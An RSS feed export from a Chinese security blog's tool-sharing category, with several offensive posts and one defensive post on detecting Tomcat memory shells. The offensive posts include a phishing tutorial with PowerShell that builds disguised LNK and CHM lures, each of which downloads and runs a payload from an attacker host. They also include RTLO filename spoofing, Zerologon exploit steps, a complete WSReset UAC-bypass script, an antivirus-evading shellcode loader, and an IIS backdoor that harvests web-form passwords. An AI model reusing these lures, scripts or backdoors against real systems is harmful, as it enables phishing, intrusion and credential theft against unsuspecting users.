<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>工具分享 &#8211; ChaBug安全</title>
	<atom:link href="/topics/tools/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Mon, 04 Jan 2021 11:28:18 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>邮件钓鱼学习</title>
		<link>/tools/2017.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Mon, 04 Jan 2021 11:23:11 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<guid isPermaLink="false">/?p=2017</guid>

					<description><![CDATA[前言 在常年攻防演练以及红蓝对抗中常被用于红方攻击的一种进行打点的方式，由于本人只是个安服仔，接触的比较少（但也不能不学），就有了这篇文章，参考各位大佬的姿势总结一下。 钓鱼手段 ...]]></description>
										<content:encoded><![CDATA[<ul>
<li>前言</li>
</ul>
<p><strong>在常年攻防演练以及红蓝对抗中常被用于红方攻击的一种进行打点的方式，由于本人只是个安服仔，接触的比较少（但也不能不学），就有了这篇文章，参考各位大佬的姿势总结一下。</strong></p>
<h2>钓鱼手段</h2>
<h3>Lnk（快捷方式）</h3>
<p>可以在“⽬标”栏写⼊⾃⼰的恶意命令，如powershell上线命令等，这里举例为CMD</p>
<p><img src="/wp-content/uploads/2021/01/20210103160612-1.png" alt="" /></p>
<p>当我点击谷歌浏览器时，弹出了CMD</p>
<p><img src="/wp-content/uploads/2021/01/20210103160947-1.png" alt="" /></p>
<p>可以进行更改图标</p>
<p><img src="/wp-content/uploads/2021/01/20210103161253-1.png" alt="" /></p>
<ul>
<li>快速生成lnk样本</li>
</ul>
<pre><code class="line-numbers">$WshShell = New-Object -comObject WScript.Shell  
$Shortcut = $WshShell.CreateShortcut("test.lnk")  
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"  
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"  
$Shortcut.Arguments = "cmd /c powershell.exe -nop -w hidden -c IEX (new-object net.webclient).DownloadFile('http://192.168.1.7:8000/ascotbe.exe','.\\ascotbe.exe');&amp;cmd /c .\\ascotbe.exe"  
$Shortcut.Save()
</code></pre>
<p>运行</p>
<pre><code class="line-numbers">powershell -ExecutionPolicy RemoteSigned -file test.ps1
</code></pre>
<p><img src="/wp-content/uploads/2021/01/20210103163314-1.png" alt="" /></p>
<ul>
<li>Tips</li>
</ul>
<p><strong>目标文件位置所能显示最大字符串为260个，所有我们可以把执行的命令放在260个字符后面</strong></p>
<pre><code class="line-numbers">$file = Get-Content ".\test.txt"  
$WshShell = New-Object -comObject WScript.Shell  
$Shortcut = $WshShell.CreateShortcut("test.lnk")  
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"  
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"  
$Shortcut.Arguments = '                                                                                                                                                                                                                                      '+ $file  
$Shortcut.Save()
</code></pre>
<h2>文件后缀RTLO</h2>
<p><strong>他会让字符串倒着编码</strong></p>
<p><img src="/wp-content/uploads/2021/01/20210103174703-1.png" alt="" /></p>
<ul>
<li>用Python一键生成用，把txt改为png后缀</li>
</ul>
<pre><code class="line-numbers">import os  
os.rename('test.txt', 'test-\u202egnp.txt')
</code></pre>
<pre><code class="line-numbers">import os
os.rename('cmd.exe', u'no\u202eFDP.exe')
</code></pre>
<h2>CHM文档</h2>
<p>创建一个文件夹（名字随意），在文件夹里面再创建两个文件夹（名字随意）和一个index.html文件，在两个文件夹内部创建各创建一个index.html文件。然后先将下列代码复制到根文件夹中的index.html中</p>
<p><img src="/wp-content/uploads/2021/01/20210103180223-1.png" alt="" /></p>
<ul>
<li>在index.html文件中编辑</li>
</ul>
<pre><code class="line-numbers">&lt;!DOCTYPE html&gt;&lt;html&gt;&lt;head&gt;&lt;title&gt;Mousejack replay&lt;/title&gt;&lt;head&gt;&lt;/head&gt;&lt;body&gt;
command exec
&lt;OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1&gt;
&lt;PARAM name="Command" value="ShortCut"&gt;
 &lt;PARAM name="Button" value="Bitmap::shortcut"&gt;
 &lt;PARAM name="Item1" value=',calc.exe'&gt;
 &lt;PARAM name="Item2" value="273,1,1"&gt;
&lt;/OBJECT&gt;
&lt;SCRIPT&gt;
x.Click();
&lt;/SCRIPT&gt;
&lt;/body&gt;&lt;/html&gt;
</code></pre>
<ul>
<li>使用cs生成修改模版中的calc.exe</li>
</ul>
<pre><code class="line-numbers">&lt;!DOCTYPE html&gt;&lt;html&gt;&lt;head&gt;&lt;title&gt;Mousejack replay&lt;/title&gt;&lt;head&gt;&lt;/head&gt;&lt;body&gt;
command exec
&lt;OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1&gt;
&lt;PARAM name="Command" value="ShortCut"&gt;
 &lt;PARAM name="Button" value="Bitmap::shortcut"&gt;
 &lt;PARAM name="Item1" value=",powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.100:81/a'))"&gt;
 &lt;PARAM name="Item2" value="273,1,1"&gt;
&lt;/OBJECT&gt;
&lt;SCRIPT&gt;
x.Click();
&lt;/SCRIPT&gt;
&lt;/body&gt;&lt;/html&gt;
</code></pre>
<ul>
<li>使用EasyCHM编译</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103181650-1.png" alt="" /></p>
<ul>
<li>原有模版CMD</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103181750-1.png" alt="" /></p>
<ul>
<li>ps上线</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103182926-1.png" alt="" /></p>
<h2>自解压</h2>
<ul>
<li>使用CS生成木马</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103183747-1.png" alt="" /></p>
<ul>
<li>创建自解压文件</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103184022-1.png" alt="" /></p>
<ul>
<li>高级自解压选项</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103184233-1.png" alt="" /></p>
<ul>
<li>解压路径-绝对路径</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103184310-1.png" alt="" /></p>
<ul>
<li>提取后运行</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103185602-1.png" alt="" /></p>
<ul>
<li>静默模式</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103184559-1.png" alt="" /></p>
<ul>
<li>更新模式</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103184719-1.png" alt="" /></p>
<ul>
<li>修改文件名</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103185941-1.png" alt="" /></p>
<h3>ResourceHacker</h3>
<p><img src="/wp-content/uploads/2021/01/20210103190216-1.png" alt="" /></p>
<ul>
<li>打开flash安装文件导出资源</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103190401-1.png" alt="" /></p>
<ul>
<li>替换资源文件</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103190557-1.png" alt="" /></p>
<p><img src="/wp-content/uploads/2021/01/20210103190647-1.png" alt="" /></p>
<ul>
<li>上线</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103190751-1.png" alt="" /></p>
<p><img src="/wp-content/uploads/2021/01/20210103190834-1.png" alt="" /></p>
<h2>office宏</h2>
<h3>本地加载</h3>
<ul>
<li>新建word，创建宏</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103191509-1.png" alt="" /></p>
<ul>
<li>cs生成宏粘贴</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103191615-1.png" alt="" /></p>
<p><img src="/wp-content/uploads/2021/01/20210103191756-1.png" alt="" /></p>
<ul>
<li>保存为启用宏的文档</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103191858-1.png" alt="" /></p>
<ul>
<li>打开文档上线</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210103220610-1.png" alt="" /></p>
<h3>远程加载</h3>
<p>编写一个带有宏代码的DOTM文档，并启用一个http服务将DOTM放置于web下<br />
<img src="/wp-content/uploads/2021/01/20210104090953-1.png" alt="" /></p>
<p><img src="/wp-content/uploads/2021/01/20210104091023-1.png" alt="" /></p>
<p><img src="/wp-content/uploads/2021/01/20210104192755.png" alt="" /></p>
<ul>
<li>新建一个任意的模版的docx文档并且解压</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210104091336-1.png" alt="" /></p>
<p><img src="/wp-content/uploads/2021/01/20210103222742-1.png" alt="" /></p>
<ul>
<li>编辑settings.xml.rels文件中的Target为我们第一个DOTM的http地址</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210104092324-1.png" alt="" /></p>
<ul>
<li>重新压缩改后缀名为.docx</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210104092252-1.png" alt="" /></p>
<ul>
<li>模拟点击上线</li>
</ul>
<p><img src="/wp-content/uploads/2021/01/20210104185613-1.png" alt="" /></p>
<h2>参考</h2>
<p>https://www.ascotbe.com/2020/07/26/office_0x01/#LNK%E9%92%93%E9%B1%BC</p>
<p>https://paper.seebug.org/1329/</p>
<p><a class="wp-editor-md-post-content-link" href="https://www.baikesec.com/webstudy/still/77.html">利用winrar自解压捆版payload制作免杀钓鱼木马</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>[防守视角] tomcat内存马的多种查杀方式</title>
		<link>/tools/1873.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Tue, 15 Sep 2020 16:00:36 +0000</pubDate>
				<category><![CDATA[安全运维]]></category>
		<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[免杀]]></category>
		<category><![CDATA[内存shell]]></category>
		<category><![CDATA[护网]]></category>
		<category><![CDATA[查杀]]></category>
		<category><![CDATA[蓝队]]></category>
		<guid isPermaLink="false">/?p=1873</guid>

					<description><![CDATA[环境搭建 我在WINDOWS7虚拟机下搭建的Tomcat，搭建教程网上都有，点击startup.bat启动环境 注入内存马 这里使用了哥斯拉的内存马 查杀方式一：VisualVM（...]]></description>
										<content:encoded><![CDATA[<h1>环境搭建</h1>
<p>我在WINDOWS7虚拟机下搭建的Tomcat，搭建教程网上都有，点击startup.bat启动环境</p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200914221121.png" alt="" /></p>
<p>注入内存马</p>
<p>这里使用了哥斯拉的内存马</p>
<p><img src="/wp-content/uploads/2020/09/20200914234501.png" alt="" /></p>
<h1><span class="wpcom_tag_link"><a href="/tags/%e6%9f%a5%e6%9d%80" title="查杀" target="_blank">查杀</a></span>方式一：VisualVM（远程调试）</h1>
<p>设置jstatd.all.policy 文件</p>
<p><img src="/wp-content/uploads/2020/09/20200914221527.png" alt="" /></p>
<p>启动jstatd</p>
<pre><code class="language-txt line-numbers">jstatd.exe -J-Djava.security.policy=jstatd.all.policy -J-Djava.rmi.server.hostname=serverip
</code></pre>
<p><img src="/wp-content/uploads/2020/09/20200914225845.png" alt="" /></p>
<p>设置JVM Connection 修改 catalina.sh文件(LINUX)</p>
<pre><code class="language-txt line-numbers">JAVA_OPTS="-Djava.rmi.server.hostname=服务器的ip
-Dcom.sun.management.jmxremote
-Dcom.sun.management.jmxremote.port=jmx使用的端口
-Dcom.sun.management.jmxremote.ssl=false
-Dcom.sun.management.jmxremote.authenticate=false $JAVA_OPTS"
export JAVA_OPTS
</code></pre>
<p>修改catalina.bat文件(WINDOWS)</p>
<pre><code class="language-txt line-numbers">set JAVA_OPTS=-Djava.rmi.server.hostname=192.168.67.115 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=8888 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false
</code></pre>
<p>下载VisualVM</p>
<p><img src="/wp-content/uploads/2020/09/20200914230218.png" alt="" /></p>
<p>MBeans安装插件</p>
<p><img src="/wp-content/uploads/2020/09/20200914230540.png" alt="" /></p>
<p>连接远程Tomcat</p>
<p><img src="/wp-content/uploads/2020/09/20200914234320.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/09/20200915010531.png" alt="" /></p>
<p>检查异常攻击痕迹Filter/Servlet节点</p>
<p><img src="/wp-content/uploads/2020/09/20200915011135.png" alt="" /></p>
<p><strong>在Servlet节点中我发现到了自己设置的内存马test.ico，说明已经检测到了内存马</strong></p>
<h1>查杀方式二：arthas</h1>
<blockquote><p>
  arthas是Alibaba开源的Java诊断工具<br />
  https://github.com/alibaba/arthas
</p></blockquote>
<p>下载</p>
<p><img src="/wp-content/uploads/2020/09/20200915153921.png" alt="" /></p>
<p>文档地址 https://arthas.aliyun.com/doc/quick-start.html</p>
<p><strong>非常Nice的工具，深入用法请查看使用文档，这里只检测探测一下</strong></p>
<p>启动（选择对应tocmat进程pid）</p>
<p><img src="/wp-content/uploads/2020/09/20200915160837.png" alt="" /></p>
<p>mbean(查看 Mbean 的信息，查看异常Filter/Servlet节点)</p>
<pre><code class="language-txt line-numbers">mbean | grep "Servlet"
</code></pre>
<p><img src="/wp-content/uploads/2020/09/20200915161611.png" alt="" /></p>
<p>sc (查看JVM已加载的类信息)</p>
<pre><code class="language-txt line-numbers">sc xxx.* 模糊搜索类
sc -d
</code></pre>
<p><img src="/wp-content/uploads/2020/09/20200915183918.png" alt="" /></p>
<p><strong>查看payload加载的类信息</strong></p>
<p><img src="/wp-content/uploads/2020/09/20200915184214.png" alt="" /></p>
<p><strong>查看x.AES_BASE64类加载的类信息</strong></p>
<p><img src="/wp-content/uploads/2020/09/20200915185544.png" alt="" /></p>
<p>jad(反编译指定已加载类的源码)</p>
<pre><code class="language-txt line-numbers">jad 类名
</code></pre>
<p><img src="/wp-content/uploads/2020/09/20200915174856.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/09/20200915174938.png" alt="" /></p>
<p>还有很多用法值得慢慢学习～</p>
<h1>查杀方式三：Copagent</h1>
<p>由于VisualVM在环境中可能还需要配置JVM Connection远程调试，我在长亭一篇文章中发现了LandGrey师傅所写的内存马检测工具，经过在本地Tomcat测试，可以检测到我自己设置的内存马，而无需重启Tomcat服务（重启了内存马不就没了吗?）先贴上Git地址</p>
<pre><code class="language-txt line-numbers">https://github.com/LandGrey/copagent
</code></pre>
<p>我本地运行Tomcat服务，使用cop.jar工具，工具首先会识别你正在运行的应用列举出来由你自己选择ID，运行后会在.copagent目录生成结果</p>
<p><img src="/wp-content/uploads/2020/09/20200915005424.png" alt="" /></p>
<p>在输出结果中，可以查看异常类，例如我的<code>1.jsp</code>和<code>X.AES_BASE64</code>，他会显示所有运行的类以及危险等级，比较高的可以进入目录查看代码进行分析</p>
<p><img src="/wp-content/uploads/2020/09/20200915121700.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/09/20200915005447.png" alt="" /></p>
<p>在java或class文件夹会保存木马以及运行的类</p>
<p><img src="/wp-content/uploads/2020/09/20200915121748.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/09/20200915122054.png" alt="" /></p>
<h1>参考</h1>
<ol>
<li>https://mp.weixin.qq.com/s/DRbGeVOcJ8m9xo7Gin45kQ</li>
<li>https://qiita.com/shimizukawasaki/items/5dc9fe780ffbf3a7699c</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2020-1472 POC</title>
		<link>/tools/1865.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 15 Sep 2020 01:35:11 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[域渗透]]></category>
		<category><![CDATA[工具]]></category>
		<guid isPermaLink="false">/?p=1865</guid>

					<description><![CDATA[https://github.com/dirkjanm/CVE-2020-1472 Requires the latest impacket from GitHub with ad...]]></description>
										<content:encoded><![CDATA[<p>https://github.com/dirkjanm/CVE-2020-1472</p>
<p>Requires the latest impacket from <a class="wp-editor-md-post-content-link" href="https://github.com/SecureAuthCorp/impacket">GitHub</a> with added netlogon structures.</p>
<p>Do note that by default this changes the password of the domain controller account. Yes this allows you to DCSync, but it also breaks communication with other domain controllers, so be careful with this!</p>
<p>More info and original research <a class="wp-editor-md-post-content-link" href="https://www.secura.com/blog/zero-logon">here</a></p>
<h2>Exploit steps</h2>
<ul>
<li>Read the blog/whitepaper above so you know what you&#8217;re doing</li>
<li>Run <code><span class="wpcom_tag_link"><a href="/tags/cve" title="cve" target="_blank">cve</a></span>-2020-1472-<span class="wpcom_tag_link"><a href="/tags/exp" title="exp" target="_blank">exp</a></span>loit.py</code> with IP and netbios name of DC</li>
<li>DCSync with secretsdump, using <code>-just-dc</code> and <code>-no-pass</code> or empty hashes and the <code>DCHOSTNAME$</code> account</li>
</ul>
<h2>Restore steps</h2>
<p>If you make sure that <a class="wp-editor-md-post-content-link" href="https://github.com/SecureAuthCorp/impacket/blob/64ce46580286b5ab15a4737bddf85201ce2adde3/impacket/examples/secretsdump.py#L1530">this line</a> in secretsdump passes (so make it <code>if True:</code> for example) secretsdump will also dump the plaintext (hex encoded) machine account password from the registry. You can do this by running it against the same DC and using a DA account.</p>
<p>Alternatively you can dump this same password by first extracting the registry hives and then running secretsdump offline (it will then always print the plaintext key because it can&#8217;t calculate the Kerberos hashes, this saves you modifying the library).</p>
<p>With this password you can run <code>restorepassword.py</code> with the <code>-hexpass</code> parameter. This will first authenticate with the empty password to the same DC and then set the password back to the original one. Make sure you supply the netbios name and IP again as target, so for example:</p>
<pre><code class="line-numbers">python restorepassword.py testsegment/s2016dc@s2016dc -target-ip 192.168.222.113 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3...etc
</code></pre>
<p><img src="/wp-content/uploads/2020/09/8024de24-ca3f-e0f9-2821-a65231c2896e-3.png" alt="image.png" /></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Win10利用应用商店WSReset.exe进行bypassuac</title>
		<link>/tools/1714.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 09 May 2020 07:11:32 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[uac]]></category>
		<category><![CDATA[win10]]></category>
		<category><![CDATA[内网]]></category>
		<category><![CDATA[渗透]]></category>
		<guid isPermaLink="false">/?p=1714</guid>

					<description><![CDATA[遇到了win10的环境就找了下bypassuac的。 环境 win10 1909 18363.535 Pro 复现 利用微软提供的sigcheck.exe签名检查工具发现 C:\W...]]></description>
										<content:encoded><![CDATA[<p>遇到了<span class="wpcom_tag_link"><a href="/tags/win10" title="win10" target="_blank">win10</a></span>的环境就找了下<span class="wpcom_tag_link"><a href="/tags/bypass" title="bypass" target="_blank">bypass</a></span><span class="wpcom_tag_link"><a href="/tags/uac" title="uac" target="_blank">uac</a></span>的。</p>
<h2>环境</h2>
<p>win10 1909 18363.535 Pro</p>
<h2>复现</h2>
<p>利用微软提供的<a class="wp-editor-md-post-content-link" href="https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck">sigcheck.exe</a>签名检查工具发现 <code>C:\Windows\System32\WSReset.exe</code> 存在<code>autoElevate</code>属性为<code>true</code></p>
<p><img src="https://y4er.com/img/uploads/20200509104541.png" alt="image.png" /></p>
<p>使用Procmon64.exe添加过滤条件</p>
<p><img src="https://y4er.com/img/uploads/20200509108734.png" alt="image.png" /></p>
<p>没找到 <code>HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command</code></p>
<p>根据<a class="wp-editor-md-post-content-link" href="https://docs.microsoft.com/en-us/windows/win32/sysinfo/hkey-classes-root-key">微软文档</a>可知用户特定的设置优先于默认设置，而当前用户可以写入这个值，那么可以使用powershell来实现poc。</p>
<pre><code class="language-powershell line-numbers">&lt;#
.SYNOPSIS
Fileless UAC Bypass by Abusing Shell API

Author: Hashim Jawad of ACTIVELabs

.PARAMETER Command
Specifies the command you would like to run in high integrity context.

.EXAMPLE
Invoke-WSResetBypass -Command "C:\Windows\System32\cmd.exe /c start cmd.exe"

This will effectivly start cmd.exe in high integrity context.

.NOTES
This UAC bypass has been tested on the following:
 - Windows 10 Version 1803 OS Build 17134.590
 - Windows 10 Version 1809 OS Build 17763.316
#&gt;

function Invoke-WSResetBypass {
      Param (
      [String]$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe"
      )

      $CommandPath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
      $filePath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
      New-Item $CommandPath -Force | Out-Null
      New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
      Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null
      Write-Host "[+] Registry entry has been created successfully!"

      $Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden
      Write-Host "[+] Starting WSReset.exe"

      Write-Host "[+] Triggering payload.."
      Start-Sleep -Seconds 5

      if (Test-Path $filePath) {
      Remove-Item $filePath -Recurse -Force
      Write-Host "[+] Cleaning up registry entry"
      }
}
</code></pre>
<p>在我自己测试的过程中因为WSReset.exe启动过慢的情况出现了多次复现不成功，建议把powershell脚本去掉后面的清空注册表，避免WSReset运行时找不到注册表，不过记得手动清除。</p>
<p><img src="https://y4er.com/img/uploads/20200509105277.png" alt="image.png" /></p>
<h2>参考</h2>
<ol>
<li>https://www.activecyber.us/activelabs/windows-uac-bypass</li>
<li>https://github.com/sailay1996/UAC_Bypass_In_The_Wild</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>C# shellcode loader</title>
		<link>/tools/1271.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 25 Feb 2020 16:03:38 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[loader]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[免杀]]></category>
		<guid isPermaLink="false">/?p=1271</guid>

					<description><![CDATA[项目地址 https://github.com/Y4er/shellcode-loader shellcode loader csharp 5632 byte xor 静态免杀,过...]]></description>
										<content:encoded><![CDATA[<h2>项目地址</h2>
<p>https://github.com/Y4er/<span class="wpcom_tag_link"><a href="/tags/shellcode" title="shellcode" target="_blank">shellcode</a></span>-<span class="wpcom_tag_link"><a href="/tags/loader" title="loader" target="_blank">loader</a></span></p>
<h2>shellcode loader</h2>
<p>csharp 5632 byte xor 静态<span class="wpcom_tag_link"><a href="/tags/%e5%85%8d%e6%9d%80" title="免杀" target="_blank">免杀</a></span>,过Windows defender.</p>
<h2>免杀效果</h2>
<p>测试于 2020/2/24 23:30</p>
<p>http://r.virscan.org/language/zh-cn/report/5583273543afd24b387833e86c22a798 0/49</p>
<p><img src="https://y4er.com/img/uploads/20200226002209.png" alt="" /></p>
<p>https://www.virustotal.com/gui/file/08d02c54c910ad9d26d4f42aa59f785aad9468c3687be4d2b3575c689c18102c/detection 2/69</p>
<p><img src="/wp-content/uploads/2020/02/20200226002776.png" alt="" /></p>
<h2>使用方法</h2>
<p>cobalt strike 或者 metasploit 生成 csharp 的 payload ,先使用 enloader 加密,再使用 loader.exe 执行.</p>
<p><strong>注意不同位数的 payload 请使用相应的 loader</strong><br />
<strong>注意不同位数的 payload 请使用相应的 loader</strong><br />
<strong>注意不同位数的 payload 请使用相应的 loader</strong><br />
<strong>注意不同位数的 payload 请使用相应的 loader</strong><br />
<strong>编译时请注意针对目标机器的.net版本对应编译</strong><br />
<strong>编译时请注意针对目标机器的.net版本对应编译</strong><br />
<strong>编译时请注意针对目标机器的.net版本对应编译</strong><br />
<strong>编译时请注意针对目标机器的.net版本对应编译</strong></p>
<ol>
<li>enloader.exe 生成加密payload</li>
<li>cmd /c loader.exe payload</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>权限维持之iis backdoor module</title>
		<link>/tools/1249.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 19 Feb 2020 16:00:30 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[后门]]></category>
		<category><![CDATA[权限维持]]></category>
		<guid isPermaLink="false">/?p=1249</guid>

					<description><![CDATA[IIS-Raid IS Raid is a native IIS module that abuses the extendibility of IIS to backdoor t...]]></description>
										<content:encoded><![CDATA[<h1>IIS-Raid</h1>
<p>IS Raid is a native IIS module that abuses the extendibility of IIS to <span class="wpcom_tag_link"><a href="/tags/backdoor" title="backdoor" target="_blank">backdoor</a></span> the web server and carry out custom actions defined by an attacker.</p>
<h2>Documentation</h2>
<p>When installed, IIS-Raid will process every request and method, check if the X-Password header exists and compare it against the hardcoded value.<br />
In case the value specified by the header doesn&#8217;t match the password, the request will continue normally without giving any indications of the backdoor.<br />
If the header value matches the password, it will search for the communication header and extract its content. Additionally, it will base64 decode it, compare it against the predefined commands and process the instructions if any.</p>
<p>Four arguments are implemented on the script:<br />
* &#8211;url : The URL that will be used to communicate with the backdoor. [Required]<br />
* &#8211;password &#8211; The pre-shared password on the backdoor [Required]<br />
* &#8211;header &#8211; The header to use for communication in case it was changed from the default one.<br />
* &#8211;method &#8211; Change the method to either GET or POST.</p>
<p>Some of the features that are currently implemented in this version are:<br />
* Interactive Command Execution &#8211; Allows the execution of commands and retrieve the output.<br />
* Shellcode Injection &#8211; Extend functionality by injecting custom shellcode.<br />
* Web Password Extractor &#8211; Extract passwords from Web Forms in clear-text.</p>
<h2>Customisation</h2>
<p>Before using and compiling the module, you need to change some of the options. To authenticate to the backdoor, the controller uses a pre-shared password with the module. As this is the only mechanism preventing someone else from accessing the backdoor, the default password must be changed.</p>
<p>Apart from the password, other backdoor options can be modified on the Functions.h file:</p>
<p><img src="https://github.com/0x09AL/IIS-Raid/raw/master/images/options.png" alt="options" /></p>
<p>The COM_HEADER definition is the header name used to perform the communication between the backdoor and the controller.<br />
The PASS_FILE definition is the file path where the extracted credentials from the web forms will be saved.<br />
The PASSWORD definition is the password that will be used to authenticate to the backdoor.</p>
<h2>More info</h2>
<p>For more information refer to https://www.mdsec.co.uk/2020/02/<span class="wpcom_tag_link"><a href="/tags/iis" title="iis" target="_blank">iis</a></span>-raid-backdooring-iis-using-native-modules/</p>
<h3>Demo Video</h3>
<p><iframe title="IIS-Raid Demo" width="500" height="281" src="https://www.youtube.com/embed/jbxEWOXecuU?feature=oembed" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></p>
<h3>Screenshot</h3>
<p><img src="/wp-content/uploads/2020/02/screenshot.png" alt="options" /></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>phpstudy后门golang利用工具</title>
		<link>/tools/978.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 25 Sep 2019 14:36:51 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[phpstudy]]></category>
		<category><![CDATA[后门]]></category>
		<guid isPermaLink="false">/?p=978</guid>

					<description><![CDATA[phpstudy_backdoor 仅供检测 自己的 phpstudy环境，请勿对其他网站使用。 go run phpstudy_backdoor.go http://localh...]]>/</description>
										<content:encoded><![CDATA[<p><span class="wpcom_tag_link"><a href="/tags/phpstudy" title="phpstudy" target="_blank">phpstudy</a></span>_<span class="wpcom_tag_link"><a href="/tags/backdoor" title="backdoor" target="_blank">backdoor</a></span><br />
仅供检测 自己的 phpstudy环境，请勿对其他网站使用。</p>
<pre><code class="">go run phpstudy_backdoor.go http://localhost/index.php &amp;quot;net user&amp;quot;

Active code page: 65001

User accounts for \\WIN-25US8G3F849

-------------------------------------------------------------------------------
Administrator            Guest                    
The command completed successfully.
</code></pre>
<p>https://github.com/Any3ite/phpstudy_backdoor</p>
<p>phpstudy<span class="wpcom_tag_link"><a href="/tags/%e5%90%8e%e9%97%a8" title="后门" target="_blank">后门</a></span>事件详情：<br />
https://mp.weixin.qq.com/s/dTzWfYGdkNqEl0vd72oC2w</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Cobalt Strike 几种不常见的上线方式</title>
		<link>/tools/755.html</link>
		
		<dc:creator><![CDATA[X1r0z]]></dc:creator>
